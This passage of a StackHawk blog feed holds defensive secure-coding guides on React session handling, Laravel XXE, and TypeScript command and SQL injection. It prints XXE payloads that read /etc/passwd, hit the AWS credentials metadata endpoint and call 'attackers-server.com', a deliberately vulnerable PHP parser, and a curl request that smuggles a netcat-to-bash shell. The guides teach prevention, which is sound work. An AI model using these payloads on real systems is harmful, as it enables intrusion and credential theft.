href=&quot;https://dashboard.fingerprintjs.com/&quot;&gt;&lt;u&gt;dashboard&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;Next, we also need the location data of the user. We can use the Geolocation API to retrieve the location information and IP address of the user. Note that there may be better services you could use to get more accurate and appropriate location data. However, the underlying principle is the same. &lt;/p&gt;&lt;h3&gt;The useLocation Hook in React&lt;/h3&gt;&lt;p&gt;Here&amp;#39;s another hook you can use in your React app that gives you the user&amp;#39;s location information: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Now let&amp;#39;s quickly use these hooks to see if they&amp;#39;re working. Inside App.js, I have simply invoked these hooks and displayed the information inside the template: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;If you check the browser, you should get back that information: &lt;/p&gt;&lt;p&gt;&lt;i&gt;An example of the user&amp;#39;s location information.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;You can integrate these hooks with your client-side authentication. Every time a user attempts to log in or sign up, you can send this information to the server. The server can then validate the device ID and location information to send back a flag that indicates if the session is from a different location, different device, etc.&lt;/p&gt;&lt;p&gt;&lt;i&gt;Mapping the session id against the user&amp;#39;s location and device id.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;You can then alert the user accordingly or automatically sign them out by calling your Logout API. &lt;/p&gt;&lt;h2&gt;Auto Sign Out for Idle User&lt;/h2&gt;&lt;p&gt;&lt;i&gt;Session timeouts are useful for when the user is idle.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Session timeouts for idle users are more important than you think. Most financial websites implement them for mere security purposes. There are three steps to implement an automatic session timeout for idle users of your app. &lt;/p&gt;&lt;p&gt;First, you need an idle session TTL. This means how long you need to check for an idle user before you can trigger session termination. Next, you need to detect user activity to check if the user is active or idle. Finally, you need to call your Logout API when your React app detects that your user is idle for the specified time. &lt;/p&gt;&lt;p&gt;&lt;i&gt;How to implement auto signout for an idle user.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Let&amp;#39;s assume you get an idle session timeout from your server. The remaining two steps need to be performed on the client side. We can easily detect if a user is active or idle in React using a package called &lt;b&gt;react-idle-timer&lt;/b&gt;. &lt;/p&gt;&lt;h3&gt;The useIdle Hook in React&lt;/h3&gt;&lt;p&gt;You&amp;#39;ll need to install &lt;b&gt;react-idle-timer&lt;/b&gt; first by running: &lt;/p&gt;&lt;p&gt;&lt;code&gt;npm install react-idle-timer --save&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;We&amp;#39;ll abstract this logic into a separate hook called &lt;b&gt;useIdle.js&lt;/b&gt; that looks like this: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;You can find how the &lt;b&gt;useIdleTimer&lt;/b&gt; hook works from &lt;b&gt;react-idle-timer&lt;/b&gt; &lt;a href=&quot;https://github.com/supremetechnopriest/react-idle-timer&quot;&gt;&lt;u&gt;through GitHub&lt;/u&gt;&lt;/a&gt;. In a nutshell, this hook gives us back a flag that we can use to check if the user is idle or active. We pass it a function called &lt;b&gt;onIdle. &lt;/b&gt;Whenever the user is detected idle, this function will be fired. &lt;/p&gt;&lt;p&gt;Since we need to log the user out when detected idle, we can pass the logout function to our &lt;b&gt;useIdle&lt;/b&gt; hook. Here&amp;#39;s a simple usage of it inside our App.js: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;You&amp;#39;ll need to call your relevant logout services inside the logout function used above. &lt;/p&gt;&lt;h2&gt;Broken Authentication Due to Poor Session Management&lt;/h2&gt;&lt;p&gt;Session management refers to how you&amp;#39;re handling the session of the user. It includes the following: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;How you are generating session IDs for your users on each session&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Where you store the session ID on the front end&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Where you store JWT/authentication/refresh tokens on the front end&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;How you handle session timeouts for your application&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;All these factors help you validate if your session management is poor enough to let attackers enter your application as legitimate users. &lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;b&gt;Poor&lt;/b&gt; session management often leads to &lt;b&gt;broken authentication&lt;/b&gt; in your application.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;If you&amp;#39;re not taking care of how you&amp;#39;re creating and storing session ids, attackers can make authentication requests on behalf of a user. &lt;/p&gt;&lt;p&gt;For instance, if an attacker gets hold of a user&amp;#39;s session ID, they will be able to change passwords or retrieve personal information for that user. &lt;/p&gt;&lt;h2&gt;Implement Safe Session Management&lt;/h2&gt;&lt;p&gt;Most session management techniques cater to the server side. This is because the client only handles how to store the session ID. However, you need to be careful how and where you store your session ID in your React app.&lt;/p&gt;&lt;p&gt;&lt;i&gt;Avoid using query strings for storing information related to the session.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;A lot of times developers store &lt;b&gt;session-id&lt;/b&gt; in front-end URLs, making it clearly visible to users as well as attackers. Instead, you could store the &lt;b&gt;session-id&lt;/b&gt; inside browser storage and use it via a custom React hook in whichever component or page of your application you need it. &lt;/p&gt;&lt;h3&gt;The useSession Hook in React&lt;/h3&gt;&lt;p&gt;Here&amp;#39;s a simple implementation of the &lt;b&gt;useSession&lt;/b&gt; hook in React. It syncs the session ID in the local storage with its own state. It returns back this session ID&lt;b&gt; &lt;/b&gt;so you can simply call this hook to retrieve the session ID from anywhere in your React application: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;So now whenever you need to use session ID on a particular page, you can grab it from this hook. Thus, you won&amp;#39;t need to pass it as query parameters in your React app&amp;#39;s routes. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;We created a bunch of React hooks to prevent broken authentication in our React app. However, you can use the same logic and implement the same in other frameworks as well. You can also see &lt;a href=&quot;https://github.com/FuzzySid/react-broken-auth-hooks&quot;&gt;&lt;u&gt;the entire code for this post&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;You can even implement strong password checks when your users are signing up. Weak credentials are a sweet spot for attackers to break your authentication workflow. The worst part is, you can&amp;#39;t really do anything about leaked and bypassed credentials. However, you can prevent a lot of these from happening by making sure that users are setting up passwords that are tough to crack via a brute-force approach. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Siddhant Varma. &lt;/i&gt;&lt;a href=&quot;https://www.linkedin.com/in/siddhantvarma99/&quot;&gt;&lt;u&gt;&lt;i&gt;Siddhant&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a full stack JavaScript developer with expertise in frontend engineering. He’s worked with scaling multiple startups in India and has experience building products in the Ed-Tech and healthcare industries. Siddhant has a passion for teaching and a knack for writing. He&amp;#39;s also taught programming to many graduates, helping them become better future developers.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Laravel XML External Entities (XXE) Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/laravel-xml-external-entities-xxe-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;You might have heard stories about data breaches and cyberattacks even on popular, well-known websites. Hackers use different methods to defeat vulnerable websites. XML external entities (XXE) injection is one such method.&lt;/p&gt;&lt;p&gt;In an XXE injection, a malicious user exploits a website&amp;#39;s capability for processing XML data. As a result, the attacker may gain access to files on the server. XXE is one of OWASP&amp;#39;s top 10&lt;a href=&quot;https://owasp.org/www-project-top-ten/&quot;&gt; &lt;u&gt;web application security risks&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;It is possible to parse XML data in your Laravel application. For example, you can set up a route that accepts requests with a content type of &lt;b&gt;text/xml&lt;/b&gt;. An attacker may exploit any part of your application that processes XML data to inject malicious code. Because of that, protecting your application against Laravel XML external entities is crucial.&lt;/p&gt;&lt;p&gt;In this post, we&amp;#39;ll learn about Laravel XML external entities by walking through some examples and methods of prevention.&lt;/p&gt;&lt;p&gt;Before we continue, let&amp;#39;s take a look at what XXE is.&lt;/p&gt;&lt;h2&gt;What Is XML External Entities (XXE)?&lt;/h2&gt;&lt;p&gt;XXE is a type of vulnerability that targets applications that parse XML data. It allows an attacker to inject XML that points to external entities. Hence, the attacker can gain access to the server file system and sensitive data.&lt;/p&gt;&lt;p&gt;Some of the ways an attacker may take advantage of XXE include retrieving sensitive files from a server and performing&lt;a href=&quot;https://owasp.org/www-community/attacks/Server_Side_Request_Forgery&quot;&gt; &lt;u&gt;server-side request forgery (SSRF) attacks&lt;/u&gt;&lt;/a&gt;. SSRF is a type of exploit that grants unauthorized access to server functionalities.&lt;/p&gt;&lt;h2&gt;Examples of Laravel XXE and Methods of Prevention&lt;/h2&gt;&lt;p&gt;Now that we know what XXE is, let&amp;#39;s take a look at some examples of Laravel XXE attacks and ways of preventing each attack.&lt;/p&gt;&lt;p&gt;In Laravel, you can parse XML data using tools like&lt;a href=&quot;https://www.php.net/manual/en/book.simplexml.php&quot;&gt; &lt;u&gt;SimpleXML&lt;/u&gt;&lt;/a&gt;. However, this may lead to XXE injection in your Laravel application if not done properly.&lt;/p&gt;&lt;h3&gt;1. File Retrieval (External Entities)&lt;/h3&gt;&lt;p&gt;In this example, we&amp;#39;ll take a look at a Laravel web route that processes requests with XML data. An attacker may gain access to a server&amp;#39;s internal file system by injecting the following XML to the route:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;
&amp;lt;!DOCTYPE foo [ &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/passwd&amp;quot;&amp;gt; ]&amp;gt;
&amp;lt;info&amp;gt;
    &amp;lt;name&amp;gt;&amp;amp;xxe;&amp;lt;/name&amp;gt;
    &amp;lt;email&amp;gt;sam@example.com&amp;lt;/email&amp;gt;
&amp;lt;/info&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The following is the code for the actual controller method that parses the XML data:&lt;/p&gt;&lt;p&gt;&lt;code&gt;libxml_disable_entity_loader (false);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;$xmlInput = file_get_contents(&amp;#39;php://input&amp;#39;);
$dom = new \DOMDocument();
$dom-&amp;gt;loadXML($xmlInput, LIBXML_NOENT | LIBXML_DTDLOAD);
$info = simplexml_import_dom($dom);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;$name = $info-&amp;gt;name;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;echo &amp;quot;Thank you for registering &amp;quot; . $name;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;From the above code, we can see that it parses the XML data and prints the value for &lt;b&gt;$name&lt;/b&gt;. As a result, if our server is vulnerable to XXE injection, the content of &lt;b&gt;file:///etc/passd&lt;/b&gt; will also be in the output. Below is an example of what the output looks like:&lt;/p&gt;&lt;p&gt;&lt;code&gt;Thank you for registering root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;As we can see above, the actual content of &lt;b&gt;/etc/passd&lt;/b&gt; is visible in the request response. Usually, you&amp;#39;d need to log in to the server as an admin or root user to access &lt;b&gt;/etc/passd&lt;/b&gt;. However, with XXE anyone can access that file by injecting malicious XML code.&lt;/p&gt;&lt;p&gt;Now, let&amp;#39;s look at some ways we can prevent this type of attack on a vulnerable server.&lt;/p&gt;&lt;h4&gt;Prevention&lt;/h4&gt;&lt;p&gt;We already know that XXE attacks take advantage of an application&amp;#39;s XML parser. The parser contains features that a hacker may exploit and pose danger to your application and its users. However, turning off such features can prevent XXE. Different XML parsers have different steps for disabling these features. You should look at the official documentation of the parser you&amp;#39;re using for more specific guidelines.&lt;/p&gt;&lt;p&gt;Examples of potentially dangerous XML features include document type definition (DTD) and external entities. If you&amp;#39;re using SimpleXML with Laravel, for example, you can disable external entities by calling the following method before parsing any XML:&lt;/p&gt;&lt;p&gt;&lt;code&gt;libxml_disable_entity_loader(true);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Another way to prevent XXE is to validate user-generated XML data before running it through your XML parser.&lt;/p&gt;&lt;h3&gt;2. Server-Side Request Forgery (SSRF)&lt;/h3&gt;&lt;p&gt;Another serious XXE vulnerability is SSRF. An attacker can exploit SSRF to perform operations on the server and control the back end.&lt;/p&gt;&lt;p&gt;Below is an example XXE attack that performs SSRF. This attack attempts to steal IAM secret keys by exploiting the AWS metadata endpoint.&lt;/p&gt;&lt;p&gt;&lt;code&gt;Tip: By default, the path of AWS metadata is /latest/meta-data/iam/security-credentials/.&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Let&amp;#39;s assume the IP address for the targeted server is something like &lt;b&gt;http://189.23.100.2&lt;/b&gt;. An attacker can send the following XML data to start the exploit:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;
&amp;lt;!DOCTYPE foo [ &amp;lt;!ENTITY xxe SYSTEM &amp;quot;http://189.23.100.2/latest/meta-data/iam/security-credentials/&amp;quot;&amp;gt; ]&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Parsing the above code without any validation on a vulnerable server will expose your IAM secret.&lt;/p&gt;&lt;h4&gt;Prevention&lt;/h4&gt;&lt;p&gt;You can prevent this type of attack by disabling vulnerable features that your application isn&amp;#39;t using. That includes turning off DTD, external entities, and external doctype declaration.&lt;/p&gt;&lt;p&gt;Also, setting up an allowlist policy to stop hostile XML data can reduce risk.&lt;/p&gt;&lt;h3&gt;3. Blind XXE&lt;/h3&gt;&lt;p&gt;Unlike the first two examples, blind XXE attacks don&amp;#39;t return values in response. That is to say, the value from an internal file like &lt;b&gt;/etc/passd&lt;/b&gt; or other resources with sensitive data is not sent back to the attacker. However, it&amp;#39;s possible for an attacker to detect that your site is vulnerable to XXE by triggering an out-of-bounds interaction.&lt;/p&gt;&lt;p&gt;For this example, we&amp;#39;ll be looking at an application that displays details of an item based on an ID. The application reads the value for ID from an XML payload.&lt;/p&gt;&lt;p&gt;We can attempt to perform an XXE attack by injecting the following XML data:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;
&amp;lt;!DOCTYPE foo [ &amp;lt;!ENTITY xxe SYSTEM &amp;quot;http://attackers-server.com&amp;quot;&amp;gt; ]&amp;gt;
&amp;lt;item&amp;gt;
&amp;lt;itemId&amp;gt;&amp;amp;xxe&amp;lt;/itemId&amp;gt;
&amp;lt;/item&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Sending the above XML data will cause the application to return an &amp;quot;invalid item&amp;quot; message. Although the message doesn&amp;#39;t contain any sensitive data, it shows that the value for &lt;b&gt;&amp;amp;xxe&lt;/b&gt; is out of bounds. As a result, the response confirms that the request to the external entity was successful.&lt;/p&gt;&lt;p&gt;Another type of blind XXE involves the retrieval of data via an error message. This can be done when the attacker injects an XML payload that may cause parser error and expose sensitive data in the error message.&lt;/p&gt;&lt;h4&gt;Prevention&lt;/h4&gt;&lt;p&gt;This type of attack takes advantage of an application&amp;#39;s response to user input. Hence, we can reduce the risk by not including sensitive data in error messages. Another good practice is to turn off the display of default error messages in your production environment.&lt;/p&gt;&lt;p&gt;You can turn off error display in Laravel production by updating the value for &lt;b&gt;APP_DEBUG&lt;/b&gt; in &lt;b&gt;.env&lt;/b&gt; to the following:&lt;/p&gt;&lt;p&gt;&lt;code&gt;APP_DEBUG=false&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The &lt;b&gt;.env&lt;/b&gt; file is located on the root of your Laravel project.&lt;/p&gt;&lt;p&gt;You can also prevent this type of XXE attack by validating user-generated XML data before parsing or displaying the content.&lt;/p&gt;&lt;p&gt;Finally, ensure you always keep your application&amp;#39;s XML parser up to date, as the maintainers may release new security patches.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;To Conclude&lt;/h2&gt;&lt;p&gt;Though XXE is not as common as other types of web vulnerabilities, it&amp;#39;s important to test your Laravel application for XXE. It&amp;#39;s even more important if your application parses a lot of user-generated XML data.&lt;/p&gt;&lt;p&gt;In this post, we&amp;#39;ve covered what XXE is and walked through three examples of Laravel XXE and how to prevent them.&lt;/p&gt;&lt;p&gt;Everything you learned in this post is a good starting point for securing your Laravel application against XXE. The most effective way to defend your application against XXE is by disabling DTD for external entities completely. In addition, ensure you take other measures like following Laravel security best practices. You should also use security testing tools to scan your application for XXE vulnerabilities.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Pius Aboyi. &lt;/i&gt;&lt;a href=&quot;https://www.linkedin.com/in/aboyipius/?originalSubdomain=ng&quot;&gt;&lt;u&gt;&lt;i&gt;Pius&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a mobile and web developer with over 4 years of experience building for the Android platform. He writes code in Java, Kotlin, and PHP. He loves writing about tech and creating how-to tutorials for developers.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Typescript Command Injection: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/typescript-command-injection-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;One of the great things about working with cutting-edge technology like Typescript is the feeling of experimentation. It&amp;#39;s like when we were little and got our presents early. We can&amp;#39;t wait to try it out, stretch it, and find out what it can do.&lt;/p&gt;&lt;p&gt;This, however, comes with some caveats. The community is young, and documentation is scarce. In addition, some rough edges can hinder our productivity and experience. And of course, there&amp;#39;s security and vulnerability.&lt;/p&gt;&lt;p&gt;In this article, we&amp;#39;ll dive into the topic of command injection, one of the common exploits you can find on the web and find ways to keep your work safe. First, we&amp;#39;ll explore the basic concepts of injection. Next, you&amp;#39;ll see some examples of command injection in JavaScript. Then we&amp;#39;ll provide some mitigating measures.&lt;/p&gt;&lt;h2&gt;Setting the Ground&lt;/h2&gt;&lt;p&gt;First, let&amp;#39;s prepare a simple boilerplate project. Then you can play around with it and keep it so you can check your work later.&lt;/p&gt;&lt;p&gt;Start by making sure you have NodeJS installed. You can do this by running the following command in macOS:&lt;/p&gt;&lt;p&gt;&lt;code&gt;curl &amp;quot;https://nodejs.org/dist/latest/node-${VERSION:-$(wget -qO- https://nodejs.org/dist/latest/ | sed -nE &amp;#39;s|.*&amp;gt;node-(.*)\.pkg&amp;lt;/a&amp;gt;.*|\1|p&amp;#39;)}.pkg&amp;quot; &amp;gt; &amp;quot;$HOME/Downloads/node-latest.pkg&amp;quot; &amp;amp;&amp;amp; sudo installer -store -pkg &amp;quot;$HOME/Downloads/node-latest.pkg&amp;quot; -target &amp;quot;/&amp;quot;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Alternatively, you can use &lt;b&gt;Brew&lt;/b&gt; to install it with the following command:&lt;/p&gt;&lt;p&gt;&lt;code&gt;brew install nodejs&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;If you run any other system, you can find more instructions&lt;a href=&quot;https://nodejs.dev/en/download/package-manager&quot;&gt; here&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Now, creating a NodeJS project is extremely simple. Just create a folder called &amp;quot;nodejs_typescript_sample&amp;quot; (you can call this folder anything you like) and navigate to it. Once inside, create a file called &amp;quot;app.js&amp;quot; (this time we recommend you do call it that) and paste the following code:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Once you&amp;#39;ve done that, you can go to the terminal and run the code using the following command:&lt;/p&gt;&lt;p&gt;&lt;code&gt;node app.js&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Visit http://localhost:3000, and you should see a message saying, &amp;quot;Hello World.&amp;quot;&lt;/p&gt;&lt;p&gt;Simple, right?&lt;/p&gt;&lt;h2&gt;Talking Command Injection&lt;/h2&gt;&lt;p&gt;OK, so now let&amp;#39;s talk command injection.&lt;/p&gt;&lt;p&gt;To briefly explain command injection, we need to talk about injection in general in web applications.&lt;/p&gt;&lt;p&gt;You might have heard people talk about SQL injection in security groups and on sites around the web. Simply speaking, injection is where an attacker attempts to hijack user input. By using specific characters or strings of characters, the attacker can bypass the application and manipulate or gain access to an application&amp;#39;s database.&lt;/p&gt;&lt;p&gt;This attack and the vulnerability related to it became a buzzword for web security in the early 2000s as it became notorious for its seemingly simple and yet devastating potential.&lt;/p&gt;&lt;p&gt;Now, command injection, or code injection, is a special injection attack where the attacker injects JavaScript or Java code into the server to seize control of it. Subsequently, the browser or application runtime wrongly interprets this malicious code as valid since it can&amp;#39;t distinguish between the code the developer intended and the attacker&amp;#39;s code.&lt;/p&gt;&lt;p&gt;This situation is particularly hazardous considering that any arbitrary code from an attacker that the application executes can bypass any security measures, potentially even surrendering the server altogether.&lt;/p&gt;&lt;p&gt;Thankfully, code that takes strings as parameters and executes commands on the system is not standard on most development projects. For the most part, best practices discourage developers from using functions like &amp;#39;exec&amp;#39; or &amp;#39;directory.execute&amp;#39; unless necessary.&lt;/p&gt;&lt;p&gt;Nevertheless, it is essential to be aware that some of the libraries you use on your project might have these functions and put your platform at risk.&lt;/p&gt;&lt;h2&gt;An Example of Command Injection&lt;/h2&gt;&lt;p&gt;Now that you have a better understanding of what command injection is and what it&amp;#39;s capable of doing to your operating system, let&amp;#39;s look at a simple example.&lt;/p&gt;&lt;p&gt;Assuming that your victim application uses a function that uses the aforementioned &amp;#39;child_process&amp;#39; module (say, the &amp;#39;exec&amp;#39; Node.js function or the &amp;#39;eval&amp;#39; JavaScript function), an attacker can reach your server command line by simply appending commands to the request. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The following is an excellent example of this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;curl http://localhost:3000/index?image=prof.png;nc%20-l%205656%20|/bin/bash&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;In this request, the attacker is trying to run the following command:&lt;/p&gt;&lt;p&gt;&lt;code&gt;nc -l 5656 | /bin/bash&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This command, called &amp;#39;netcat,&amp;#39; can run arbitrary code on your server on behalf of the attacker and cripple it.&lt;/p&gt;&lt;h2&gt;Fixing Command Injection Vulnerabilities&lt;/h2&gt;&lt;p&gt;Alright, so what can we do about this? &lt;/p&gt;&lt;p&gt;Well, the first line of defense against this kind of threat is also the most effective, and that is to do away with using functions that execute commands at a low level altogether.&lt;/p&gt;&lt;p&gt;Avoid eval(), exec(), setTimeout(), setInterval(), and any other function that allows dynamic code unless absolutely necessary. &lt;/p&gt;&lt;p&gt;Additionally, avoid new Function() for reasons that should be obvious at this point.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Also, make sure to employ an input sanitization mechanism for any user input that your application allows. As a general rule, it&amp;#39;s essential to restrict and regulate all avenues of user input that your application provides. For example, look for ways to change dynamic inputs into fixed selections. And make sure to safelist all inputs against known attacks.&lt;/p&gt;&lt;p&gt;Additionally, avoid using code serialization in JavaScript. Yes, it is a thing, and no, you shouldn&amp;#39;t overlook it.&lt;/p&gt;&lt;p&gt;Finally, we recommend using security analysis tools like StackHawk and scanning your application for injection vulnerabilities regularly. StackHawk&amp;#39;s state-of-the-art software tests your running applications, services, and APIs for security vulnerabilities that your team has introduced as well as exploitable open-source security bugs. &lt;/p&gt;&lt;p&gt;With StackHawk, application security can keep up with the pace of today&amp;#39;s engineering teams. Find vulnerabilities at the pull request and quickly push out fixes, all while yesterday&amp;#39;s security tools are waiting for someone to kick off a manual scan.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Moving On&lt;/h2&gt;&lt;p&gt;The work of making robust and secure applications has never been easier and more accessible. Modern languages like Typescript and versatile platforms like NodeJS have provided unprecedented power to engineers looking to build the future. However, with all that versatility and power, it&amp;#39;s crucial to maintain a high standard of security and resilience against the ever-evolving threats on the web.&lt;/p&gt;&lt;p&gt;Maintaining extensive expertise on these development stacks is becoming more and more of a necessity every year. Nowadays, teams have to be more trained and specialized than before. This is why it&amp;#39;s vital to keep your standards high and use robust solutions like StackHawk.&lt;/p&gt;&lt;p&gt;Whether you are a developer trying to figure out your way out of a problem or a manager researching assets that can improve the value of your product, security must be at the forefront of your priorities.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Juan Reyes. &lt;/i&gt;&lt;a href=&quot;https://www.ajourneyforwisdom.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Juan&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is an engineer by profession and a dreamer by heart who crossed the seas to reach Japan following the promise of opportunity and challenge. While trying to find himself and build a meaningful life in the east, Juan borrows wisdom from his experiences as an entrepreneur, artist, hustler, father figure, husband, and friend to start writing about passion, meaning, self-development, leadership, relationships, and mental health. His many years of struggle and self-discovery have inspired him and drive to embark on a journey for wisdom.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Typescript SQL Injection Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/typescript-sql-injection-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;In this article, we&amp;#39;ll discuss SQL injection in the context of Typescript-based applications. Our goal is to examine what SQL injection is, how it can impact your organization&amp;#39;s infrastructure, and what measures you can implement to mitigate its damage. By the end of this article, you should have a comprehensive understanding of SQL injection, how the security issues impact your code, and how to address these issues properly. &lt;/p&gt;&lt;p&gt;We&amp;#39;ll use NodeJS as the platform of choice for our sample project and Typescript as the coding language. &lt;/p&gt;&lt;p&gt;&lt;b&gt;Note:&lt;/b&gt; We intend this article for NodeJS and Typescript developers. Therefore, we expect that you have a basic understanding of the NodeJS development stack and experience coding in Typescript. If you haven&amp;#39;t dipped your toes in yet, please see &lt;a href=&quot;https://www.typescriptlang.org/&quot;&gt;&lt;u&gt;the Typescript site&lt;/u&gt;&lt;/a&gt; for more information. Nevertheless, SQL injection is pretty consistent across platforms and &lt;a href=&quot;https://www.stackhawk.com/blog/java-sql-injection-guide-examples-and-prevention/&quot;&gt;&lt;u&gt;languages&lt;/u&gt;&lt;/a&gt;, so you should be able to get some value out of this article regardless. &lt;/p&gt;&lt;h2&gt;Starting with NodeJS and Typescript&lt;/h2&gt;&lt;p&gt;Before we jump into SQL injection, let&amp;#39;s prepare a simple boilerplate project so that you can play around with the code and follow through with what you&amp;#39;re about to learn. &lt;/p&gt;&lt;p&gt;First, make sure you have NodeJS installed. You can do this by running the following command in macOS: &lt;/p&gt;&lt;p&gt;&lt;code&gt;curl &amp;quot;https://nodejs.org/dist/latest/node-${VERSION:-$(wget -qO- https://nodejs.org/dist/latest/ | sed -nE &amp;#39;s|.*&amp;gt;node-(.*)\.pkg&amp;lt;/a&amp;gt;.*|\1|p&amp;#39;)}.pkg&amp;quot; &amp;gt; &amp;quot;$HOME/Downloads/node-latest.pkg&amp;quot; &amp;amp;&amp;amp; sudo installer -store -pkg &amp;quot;$HOME/Downloads/node-latest.pkg&amp;quot; -target &amp;quot;/&amp;quot;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Alternatively, you can use Brew to install it with the following command: &lt;/p&gt;&lt;p&gt;&lt;code&gt;brew install nodejs&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;If you run any other system, you can find instructions &lt;a href=&quot;https://nodejs.dev/en/download/package-manager&quot;&gt;&lt;u&gt;on the NodeJS site&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;Now, creating a NodeJS project is extremely simple. Just create a folder called &amp;quot;nodejs_typescript_sample&amp;quot; (You can call this folder anything you like) and navigate to it. Once inside, create a file called app.js (this time we recommend you really do call it that) and paste the following code: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;You can then go to the terminal and run the code using the following command: &lt;/p&gt;&lt;p&gt;&lt;code&gt;node app.js&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Visit http://localhost:3000 and you should see a message saying, &amp;quot;Hello World.&amp;quot; &lt;/p&gt;&lt;p&gt;Simple, right? &lt;/p&gt;&lt;h2&gt;What Is SQL Injection?&lt;/h2&gt;&lt;p&gt;Now, let&amp;#39;s briefly explain what SQL injection is. It&amp;#39;s a kind of injection attack that takes advantage of inadequate database integration and poor user input validation.  &lt;/p&gt;&lt;p&gt;Malicious SQL instructions inputted into the platform can reach the ORM layer and go directly into the SQL database through user-facing input fields and take over the whole system.  &lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;The &lt;b&gt;main 